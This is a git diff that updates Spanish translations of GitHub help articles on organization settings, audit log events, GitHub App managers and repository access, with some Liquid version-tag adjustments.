--- a/translations/es-ES/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
+++ b/translations/es-ES/content/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization.md
@@ -1,10 +1,10 @@
 ---
-title: Restricting email notifications for your organization
-intro: 'To prevent organization information from leaking into personal email accounts, you can restrict the domains where members can receive email notifications about organization activity.'
+title: Restringir las notificaciones por correo electrónico para tu organización
+intro: 'Para prevenir que se fugue la información de la organización en la scuentas personales de correo electrónico, puedes restringir los dominios en donde los miembros pueden recibir este tipo de notificaciones sobre la actividad de la organización.'
 product: '{% data reusables.gated-features.restrict-email-domain %}'
 permissions: Organization owners can restrict email notifications for an organization.
 redirect_from:
-  - /articles/restricting-email-notifications-about-organization-activity-to-an-approved-email-domain/
+  - /articles/restricting-email-notifications-about-organization-activity-to-an-approved-email-domain
   - /articles/restricting-email-notifications-to-an-approved-domain
   - /github/setting-up-and-managing-organizations-and-teams/restricting-email-notifications-to-an-approved-domain
   - /organizations/keeping-your-organization-secure/restricting-email-notifications-to-an-approved-domain
@@ -18,29 +18,29 @@ topics:
   - Notifications
   - Organizations
   - Policy
-shortTitle: Restrict email notifications
+shortTitle: Restringir las notificaciones por correo electrónico
 ---
 
-## About email restrictions
+## Acerca de las restricciones de correo electrónico
 
-When restricted email notifications are enabled in an organization, members can only use an email address associated with a verified or approved domain to receive email notifications about organization activity. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+Cuando se habilitan las notificaciones por correo electrónico restringidas en una organización, los miembros solo pueden utilizar direcciones de correco electrónico asociadas con un dominio aprobado o verificado para recibir este tipo de notificaciones sobre la actividad de la organización. Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu organización](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
 
 {% data reusables.enterprise-accounts.approved-domains-beta-note %}
 
 {% data reusables.notifications.email-restrictions-verification %}
 
-Outside collaborators are not subject to restrictions on email notifications for verified or approved domains. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+Los colabores externos no están sujetos a las restricciones en las notificaciones por correo electrónico para los dominios verificados o aprobados. Para obtener más información sobre los colaboradores externos, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)".
 
-If your organization is owned by an enterprise account, organization members will be able to receive notifications from any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."
+Si tu organización pertenece a una cuenta empresarial, los miembros de dicha organización podrán recibir notificaciones de cualquier dominio que verifique o apruebe esta cuenta, adicionalmente a cualquier dominio que la misma organización verifique o apruebe. Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu empresa](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)".
 
-## Restricting email notifications
+## Restringir las notificciones por correo electrónico
 
-Before you can restrict email notifications for your organization, you must verify or approve at least one domain for the organization, or an enterprise owner must have verified or approved at least one domain for the enterprise account.
+Antes de que puedas restringir las notificaciones por correo electrónico para tu organización, debes verificar o aprobar por lo menos un dominio para la organización o un propietario de la empresa debe haber verificado o aprobado por lo menos un dominio para la cuenta empresarial.
 
-For more information about verifying and approving domains for an organization, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)."
+Para obtener más información acerca de verificar y aprobar los dominios para una organización, consulta la sección "[Verificar o aprobar un dominio para tu organización](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.verified-domains %}
 {% data reusables.organizations.restrict-email-notifications %}
-6. Click **Save**.
+6. Haz clic en **Save ** (guardar).
diff --git a/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
index 08a2b3eb70..034abf484e 100644
--- a/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
+++ b/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md
@@ -68,13 +68,13 @@ To search for specific events, use the `action` qualifier in your query. Actions
 | [`repo`](#repo-category-actions) | Contains activities related to the repositories owned by your organization.{% ifversion fpt or ghec %}
 | [`repository_advisory`](#repository_advisory-category-actions) | Contains repository-level activities related to security advisories in the {% data variables.product.prodname_advisory_database %}.  For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
 | [`repository_content_analysis`](#repository_content_analysis-category-actions) | Contains all activities related to [enabling or disabling data use for a private repository](/articles/about-github-s-use-of-your-data).{% endif %}{% ifversion fpt or ghec %}
-| [`repository_dependency_graph`](#repository_dependency_graph-category-actions) | Contains repository-level activities related to enabling or disabling the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."{% endif %}
-| [`repository_secret_scanning`](#repository_secret_scanning-category-actions) | Contains repository-level activities related to secret scanning. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| [`repository_dependency_graph`](#repository_dependency_graph-category-actions) | Contains repository-level activities related to enabling or disabling the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."{% endif %}{% ifversion ghes or ghae or ghec %}
+| [`repository_secret_scanning`](#repository_secret_scanning-category-actions) | Contains repository-level activities related to secret scanning. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% endif %}{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
 | [`repository_vulnerability_alert`](#repository_vulnerability_alert-category-actions) | Contains all activities related to [{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies).{% endif %}{% ifversion fpt or ghec %}
 | [`repository_vulnerability_alerts`](#repository_vulnerability_alerts-category-actions) | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot_alerts %}.{% endif %}{% ifversion ghec %}
-| [`role`](#role-category-actions) | Contains all activities related to [custom repository roles](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %}
+| [`role`](#role-category-actions) | Contains all activities related to [custom repository roles](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %}{% ifversion ghes or ghae or ghec %}
 | [`secret_scanning`](#secret_scanning-category-actions) | Contains organization-level configuration activities for secret scanning in existing repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
-| [`secret_scanning_new_repos`](#secret_scanning_new_repos-category-actions) | Contains organization-level configuration activities for secret scanning for new repositories created in the organization. {% ifversion fpt or ghec %}
+| [`secret_scanning_new_repos`](#secret_scanning_new_repos-category-actions) | Contains organization-level configuration activities for secret scanning for new repositories created in the organization. {% endif %}{% ifversion fpt or ghec %}
 | [`sponsors`](#sponsors-category-actions) | Contains all events related to sponsor buttons (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}
 | [`team`](#team-category-actions) | Contains all activities related to teams in your organization.
 | [`team_discussions`](#team_discussions-category-actions) | Contains activities related to managing team discussions for an organization.{% ifversion fpt or ghec or ghes > 3.1 or ghae %}
@@ -515,7 +515,6 @@ For more information, see "[Managing the publication of {% data variables.produc
 
 | Action | Description
 |------------------|-------------------
-| `clear` | Triggered when a payment method on file is [removed](/articles/removing-a-payment-method).
 | `create` |  Triggered when a new payment method is added, such as a new credit card or PayPal account.
 | `update` | Triggered when an existing payment method is updated.
 
@@ -550,7 +549,7 @@ For more information, see "[Managing the publication of {% data variables.produc
 | `update_require_code_owner_review ` | Triggered when enforcement of required Code Owner review is updated on a branch.
 | `dismiss_stale_reviews ` | Triggered when enforcement of dismissing stale pull requests is updated on a branch.
 | `update_signature_requirement_enforcement_level ` | Triggered when enforcement of required commit signing is updated on a branch.
-| `update_pull_request_reviews_enforcement_level ` | Triggered when enforcement of required pull request reviews is updated on a branch.
+| `update_pull_request_reviews_enforcement_level ` | Triggered when enforcement of required pull request reviews is updated on a branch. Can be one of `0`(deactivated), `1`(non-admins), `2`(everyone).
 | `update_required_status_checks_enforcement_level ` | Triggered when enforcement of required status checks is updated on a branch.
 | `update_strict_required_status_checks_policy` | Triggered when the requirement for a branch to be up to date before merging is changed.
 | `rejected_ref_update ` | Triggered when a branch update attempt is rejected.
@@ -662,15 +661,15 @@ For more information, see "[Managing the publication of {% data variables.produc
 | `disable` | Triggered when a repository owner or person with admin access to the repository disables the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
 | `enable` | Triggered when a repository owner or person with admin access to the repository enables the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository.
 
-{% endif %}
+{% endif %}{% ifversion ghec or ghes or ghae %}
 ### `repository_secret_scanning` category actions
 
 | Action | Description
 |------------------|-------------------
-| `disable` | Triggered when a repository owner or person with admin access to the repository disables secret scanning for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
-| `enable` | Triggered when a repository owner or person with admin access to the repository enables secret scanning for a {% ifversion fpt or ghec %}private {% endif %}repository.
+| `disable` | Triggered when a repository owner or person with admin access to the repository disables secret scanning for a {% ifversion ghec %}private or internal {% endif %}repository. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `enable` | Triggered when a repository owner or person with admin access to the repository enables secret scanning for a {% ifversion ghec %}private or internal {% endif %}repository.
 
-{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+{% endif %}{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
 ### `repository_vulnerability_alert` category actions
 
 | Action | Description
@@ -697,20 +696,21 @@ For more information, see "[Managing the publication of {% data variables.produc
 |`update` | Triggered when an organization owner edits an existing custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
 
 {% endif %}
-
+{% ifversion ghec or ghes or ghae %}
 ### `secret_scanning` category actions
 
 | Action | Description
 |------------------|-------------------
-| `disable` | Triggered when an organization owner disables secret scanning for all existing{% ifversion fpt or ghec %}, private{% endif %} repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
-| `enable` | Triggered when an organization owner enables secret scanning for all existing{% ifversion fpt or ghec %}, private{% endif %} repositories.
+| `disable` | Triggered when an organization owner disables secret scanning for all existing{% ifversion ghec %}, private or internal{% endif %} repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `enable` | Triggered when an organization owner enables secret scanning for all existing{% ifversion ghec %}, private or internal{% endif %} repositories.
 
 ### `secret_scanning_new_repos` category actions
 
 | Action | Description
 |------------------|-------------------
-| `disable` | Triggered when an organization owner disables secret scanning for all new {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
-| `enable` | Triggered when an organization owner enables secret scanning for all new {% ifversion fpt or ghec %}private {% endif %}repositories.
+| `disable` | Triggered when an organization owner disables secret scanning for all new {% ifversion ghec %}private or internal {% endif %}repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `enable` | Triggered when an organization owner enables secret scanning for all new {% ifversion ghec %}private or internal {% endif %}repositories.
+{% endif %}
 
 {% ifversion fpt or ghec %}
 ### `sponsors` category actions
diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md
index e12220689a..3804f97cd6 100644
--- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Adding GitHub App managers in your organization
-intro: 'Organization owners can grant users the ability to manage some or all {% data variables.product.prodname_github_apps %} owned by the organization.'
+title: Agregar administradores de App GitHub a tu organización
+intro: 'Los propietarios de la organización pueden conceder a los usuarios la capacidad para administrar alguna o todas las {% data variables.product.prodname_github_apps %} que le pertenecen a la organización.'
 redirect_from:
   - /articles/adding-github-app-managers-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/adding-github-app-managers-in-your-organization
@@ -12,32 +12,29 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Add GitHub App managers
+shortTitle: Agregar administradores de GitHub Apps
 ---
 
-For more information about {% data variables.product.prodname_github_app %} manager permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)."
+Para obtener más información sobre los permisos de administrador de una {% data variables.product.prodname_github_app %}, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)".
 
-## Giving someone the ability to manage all {% data variables.product.prodname_github_apps %} owned by the organization
+## Brindar a alguien la posibilidad de administrar todas las {% data variables.product.prodname_github_apps %} que son propiedad de la organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.github-apps-settings-sidebar %}
-1. Under "Management", type the username of the person you want to designate as a {% data variables.product.prodname_github_app %} manager in the organization, and click **Grant**.
-![Add a {% data variables.product.prodname_github_app %} manager](/assets/images/help/organizations/add-github-app-manager.png)
+1. En "Management" (Administración), escribe el nombre de usuario de la persona a quien deseas designar como gerente de {% data variables.product.prodname_github_app %} en la organización, y haz clic en **Grant** (Conceder). ![Agregar un administrador de {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/add-github-app-manager.png)
 
-## Giving someone the ability to manage an individual {% data variables.product.prodname_github_app %}
+## Brindar a alguien la posibilidad de administrar un {% data variables.product.prodname_github_app %} individual
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.github-apps-settings-sidebar %}
-1. Under "{% data variables.product.prodname_github_apps %}", click on the avatar of the app you'd like to add a {% data variables.product.prodname_github_app %} manager for.
-![Select {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png)
+1. Debajo de "{% data variables.product.prodname_github_apps %}s", haz clic en el avatar de la app a la que quieres agregar un administrador de {% data variables.product.prodname_github_app %}. ![Seleccionar {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png)
 {% data reusables.organizations.app-managers-settings-sidebar %}
-1. Under "App managers", type the username of the person you want to designate as a GitHub App manager for the app, and click **Grant**.
-![Add a {% data variables.product.prodname_github_app %} manager for a specific app](/assets/images/help/organizations/add-github-app-manager-for-app.png)
+1. En "App managers" (Administradores de la app), escribe el nombre de usuario de la persona a quien deseas designar como administrador de la App GitHub para la app, y haz clic en **Grant** (Conceder). ![Agregar un administrador de {% data variables.product.prodname_github_app %} para una app específica](/assets/images/help/organizations/add-github-app-manager-for-app.png)
 
 {% ifversion fpt or ghec %}
-## Further reading
+## Leer más
 
-- "[About {% data variables.product.prodname_dotcom %} Marketplace](/articles/about-github-marketplace/)"
+- "[Acerca de {% data variables.product.prodname_dotcom %} Mercado](/articles/about-github-marketplace/)"
 {% endif %}
diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md
index 58f09cc972..105071408a 100644
--- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md
+++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Removing GitHub App managers from your organization
-intro: 'Organization owners can revoke {% data variables.product.prodname_github_app %} manager permissions that were granted to a member of the organization.'
+title: Eliminar administradores de App GitHub de tu organización
+intro: 'Los propietarios de la organización pueden revocar los permisos de administrador {% data variables.product.prodname_github_app %} que se le hayan concedido a un miembro de la organización.'
 redirect_from:
   - /articles/removing-github-app-managers-from-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/removing-github-app-managers-from-your-organization
@@ -12,32 +12,29 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Remove GitHub App managers
+shortTitle: Eliminar administradores de GitHub Apps
 ---
 
-For more information about {% data variables.product.prodname_github_app %} manager permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)."
+Para obtener más información sobre los permisos de administrador de una {% data variables.product.prodname_github_app %}, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)".
 
-## Removing a {% data variables.product.prodname_github_app %} manager's permissions for the entire organization
+## Eliminar los {% data variables.product.prodname_github_app %} permisos de un administrador para toda la organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.github-apps-settings-sidebar %}
-1. Under "Management", find the username of the person you want to remove {% data variables.product.prodname_github_app %} manager permissions from, and click **Revoke**.
-![Revoke {% data variables.product.prodname_github_app %} manager permissions](/assets/images/help/organizations/github-app-manager-revoke-permissions.png)
+1. En "Management" (Administración), encuentra el nombre de usuario de la persona para la que quieres eliminar {% data variables.product.prodname_github_app %} los permisos de administrador, luego haz clic en **Revoke** (Revocar). ![Revocar {% data variables.product.prodname_github_app %} permisos de administrador](/assets/images/help/organizations/github-app-manager-revoke-permissions.png)
 
-## Removing a {% data variables.product.prodname_github_app %} manager's permissions for an individual {% data variables.product.prodname_github_app %}
+## Eliminar los {% data variables.product.prodname_github_app %} permisos de administrador para una persona {% data variables.product.prodname_github_app %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.github-apps-settings-sidebar %}
-1. Under "{% data variables.product.prodname_github_apps %}", click on the avatar of the app you'd like to remove a {% data variables.product.prodname_github_app %} manager from.
-![Select {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png)
+1. Debajo de "{% data variables.product.prodname_github_apps %}s", haz clic en el avatar de la app de la que quieres eliminar un administrador de {% data variables.product.prodname_github_app %}. ![Seleccionar {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png)
 {% data reusables.organizations.app-managers-settings-sidebar %}
-1. Under "App managers", find the username of the person you want to remove {% data variables.product.prodname_github_app %} manager permissions from, and click **Revoke**.
-![Revoke {% data variables.product.prodname_github_app %} manager permissions](/assets/images/help/organizations/github-app-manager-revoke-permissions-individual-app.png)
+1. En "App managers" (Administradores de app), encuentra el nombre de usuario de la persona para la que quieres eliminar {% data variables.product.prodname_github_app %} los permisos de administrador, luego haz clic en **Revoke** (Revocar). ![Revocar {% data variables.product.prodname_github_app %} permisos de administrador](/assets/images/help/organizations/github-app-manager-revoke-permissions-individual-app.png)
 
 {% ifversion fpt or ghec %}
-## Further reading
+## Leer más
 
-- "[About {% data variables.product.prodname_dotcom %} Marketplace](/articles/about-github-marketplace/)"
+- "[Acerca de {% data variables.product.prodname_dotcom %} Mercado](/articles/about-github-marketplace/)"
 {% endif %}
diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md
index 17c4566565..6c545d8788 100644
--- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md
+++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md
@@ -1,6 +1,6 @@
 ---
-title: Converting an outside collaborator to an organization member
-intro: 'If you would like to give an outside collaborator on your organization''s repositories broader permissions within your organization, you can {% ifversion fpt or ghec %}invite them to become a member of{% else %}make them a member of{% endif %} the organization.'
+title: Convertir un colaborador externo en un miembro de la organización
+intro: 'Si deseas que un colaborador externo en los repositorios de la organización tenga más permisos dentro de tu organización, puedes {% ifversion fpt or ghec %}invitarlo a convertirse en miembro de{% else %}convertirlo en miembro de{% endif %} la organización.'
 redirect_from:
   - /articles/converting-an-outside-collaborator-to-an-organization-member
   - /github/setting-up-and-managing-organizations-and-teams/converting-an-outside-collaborator-to-an-organization-member
@@ -13,13 +13,14 @@ permissions: 'Organization owners can {% ifversion fpt or ghec %}invite users to
 topics:
   - Organizations
   - Teams
-shortTitle: Convert collaborator to member
+shortTitle: Convertir a un colaborador en miembro
 ---
+
 {% ifversion fpt or ghec %}
-If your organization is on a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." {% data reusables.organizations.org-invite-expiration %}{% endif %}
+Si tu organización está en una suscripción de pago por usuario, debes contar con una licencia sin utilizarse antes de que puedas invitar a un nuevo miembro a unirse a tu organización o a reinstalar a un miembro previo de la misma. Para obtener más información, consulta "[About per-user pricing](/articles/about-per-user-pricing)". {% data reusables.organizations.org-invite-expiration %}{% endif %}
 
 {% ifversion not ghae %}
-If your organization [requires members to use two-factor authentication](/articles/requiring-two-factor-authentication-in-your-organization), users {% ifversion fpt or ghec %}you invite must [enable two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) before they can accept the invitation.{% else %}must [enable two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) before you can add them to the organization.{% endif %}
+Si tu organización [requiere que los miembros utilicen autenticación bifactorial](/articles/requiring-two-factor-authentication-in-your-organization), los usuarios {% ifversion fpt or ghec %}que invites deben [habilitar la autenticación bifactorial](/articles/securing-your-account-with-two-factor-authentication-2fa) antes de que puedan aceptar la invitación.{% else %}deben [habilitar la autenticación bifactorial](/articles/securing-your-account-with-two-factor-authentication-2fa) antes de que puedas agregarlos a tu organización.{% endif %}
 {% endif %}
 
 {% data reusables.profile.access_org %}
@@ -27,9 +28,9 @@ If your organization [requires members to use two-factor authentication](/articl
 {% data reusables.organizations.people %}
 {% data reusables.organizations.people_tab_outside_collaborators %}
 {% ifversion fpt or ghec %}
-5. To the right of the name of the outside collaborator you want to become a member, use the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Invite to organization**.![Invite outside collaborators to organization](/assets/images/help/organizations/invite_outside_collaborator_to_organization.png)
+5. A la derecha del nombre del colaborador externo que quieres hacer miembro, usa el menú desplegable {% octicon "gear" aria-label="The gear icon" %} y haz clic en **Invitar a la organización**.![Invitar colaboradores externos a la organización](/assets/images/help/organizations/invite_outside_collaborator_to_organization.png)
 {% else %}
-5. To the right of the name of the outside collaborator you want to become a member, click **Invite to organization**.![Invite outside collaborators to organization](/assets/images/enterprise/orgs-and-teams/invite_outside_collabs_to_org.png)
+5. A la derecha del nombre del colaborador externo que quieres hacer miembro, haz clic en **Invite to organization** (Invitar a la organización).![Invitar colaboradores externos a la organización](/assets/images/enterprise/orgs-and-teams/invite_outside_collabs_to_org.png)
 {% endif %}
 {% data reusables.organizations.choose-to-restore-privileges %}
 {% data reusables.organizations.choose-user-role-send-invitation %}
@@ -37,6 +38,6 @@ If your organization [requires members to use two-factor authentication](/articl
 {% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %}
 {% endif %}
 
-## Further reading
+## Leer más
 
-- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)"
+- "[Convertir a un miembro de la organización en colaborador externo](/articles/converting-an-organization-member-to-an-outside-collaborator)"
diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/index.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/index.md
index 99c028cd4b..8396454c2b 100644
--- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/index.md
+++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/index.md
@@ -2,7 +2,7 @@
 title: Administrar el acceso a los repositorios de tu organización
 intro: Los propietarios de la organización pueden administrar el acceso individual y de equipo a los repositorios de una organización. Los mantenedores del equipo también pueden administrar el acceso a un repositorio de equipo.
 redirect_from:
-  - /articles/permission-levels-for-an-organization-repository/
+  - /articles/permission-levels-for-an-organization-repository
   - /articles/managing-access-to-your-organization-s-repositories
   - /articles/managing-access-to-your-organizations-repositories
   - /github/setting-up-and-managing-organizations-and-teams/managing-access-to-your-organizations-repositories
diff --git a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
index ae55c3dd9a..64084e2638 100644
--- a/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
+++ b/translations/es-ES/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
@@ -1,8 +1,8 @@
 ---
-title: Managing an individual's access to an organization repository
-intro: You can manage a person's access to a repository owned by your organization.
+title: Administrar el acceso de una persona a un repositorio de una organización
+intro: Puedes administrar el acceso de una persona a un repositorio propiedad de tu organización.
 redirect_from:
-  - /articles/managing-an-individual-s-access-to-an-organization-repository-early-access-program/
+  - /articles/managing-an-individual-s-access-to-an-organization-repository-early-access-program
   - /articles/managing-an-individual-s-access-to-an-organization-repository
   - /articles/managing-an-individuals-access-to-an-organization-repository
   - /github/setting-up-and-managing-organizations-and-teams/managing-an-individuals-access-to-an-organization-repository
@@ -14,41 +14,36 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage individual access
+shortTitle: Administrar el acceso individual
 permissions: People with admin access to a repository can manage access to the repository.
 ---
 
-## About access to organization repositories
+## Acerca del acceso a los repositorios de la organización
 
-When you remove a collaborator from a repository in your organization, the collaborator loses read and write access to the repository. If the repository is private and the collaborator has forked the repository, then their fork is also deleted, but the collaborator will still retain any local clones of your repository.
+Cuando eliminas a un colaborador de un repositorio en tu organización, el colaborador pierde el acceso de lectura y escritura al repositorio. Si el repositorio es privado y el colaborador ha bifurcado el repositorio, entonces su bifurcación también se elimina, pero el colaborador conservará cualquier clon local de tu repositorio.
 
 {% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
-## Giving a person access to a repository
+## Otorgar a una persona acceso a un repositorio
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-manage-access %}
 {% data reusables.organizations.invite-teams-or-people %}
-5. In the search field, start typing the name of the person to invite, then click a name in the list of matches.
-  ![Search field for typing the name of a team or person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png)
-6. Under "Choose a role", select the repository role to assign the person, then click **Add NAME to REPOSITORY**.
-  ![Selecting permissions for the team or person](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
+5. En el campo de búsqueda, comienza a teclear el nombre de la persona que desees invitar y luego haz clic en un nombre de la lista de coincidencias. ![Campo de búsqueda para teclear el nombre del equipo o persona que deseas invitar al repositorio](/assets/images/help/repository/manage-access-invite-search-field.png)
+6. Debajo de "Elige un rol", selecciona el rol de repositorio que quieres asignar a la persona y luego haz clic en **Agregar NOMBRE a REPOSITORIO**. ![Seleccionar los permisos para el equipo o persona](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
 
-## Managing an individual's access to an organization repository
+## Administrar el acceso de una persona a un repositorio de una organización
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Click either **Members** or **Outside collaborators** to manage people with different types of access. ![Button to invite members or outside collaborators to an organization](/assets/images/help/organizations/select-outside-collaborators.png)
-5. To the right of the name of the person you'd like to manage, use the {% octicon "gear" aria-label="The Settings gear" %} drop-down menu, and click **Manage**.
-  ![The manage access link](/assets/images/help/organizations/member-manage-access.png)
-6. On the "Manage access" page, next to the repository, click **Manage access**.
-![Manage access button for a repository](/assets/images/help/organizations/repository-manage-access.png)
-7. Review the person's access to a given repository, such as whether they're a collaborator or have access to the repository via team membership.
-![Repository access matrix for the user](/assets/images/help/organizations/repository-access-matrix-for-user.png)
+4. Haz clic en **Members (Miembros)** o **Outside collaborators (Colaboradores externos)** para administrar las personas con diferentes tipos de acceso. ![Botón para invitar a miembros o colaboradores externos a una organización](/assets/images/help/organizations/select-outside-collaborators.png)
+5. A la derecha del nombre de la persona que desearías administrar, utiliza el menú desplegable {% octicon "gear" aria-label="The Settings gear" %}, y haz clic en **Manage (Administrar)**. ![Enlace de acceso al gerente](/assets/images/help/organizations/member-manage-access.png)
+6. En la página "Manage access" (Administrar el acceso), al lado del repositorio, haz clic en **Manage access (Administrar el acceso)**. ![Botón de administración de acceso a un repositorio](/assets/images/help/organizations/repository-manage-access.png)
+7. Revisa el acceso de la persona a un repositorio determinado, como si fuera un colaborador o si tuviera acceso a un repositorio por medio de una membresía de equipo. ![Matriz de acceso a repositorio para el usuario](/assets/images/help/organizations/repository-access-matrix-for-user.png)
 
-## Further reading
+## Leer más
 
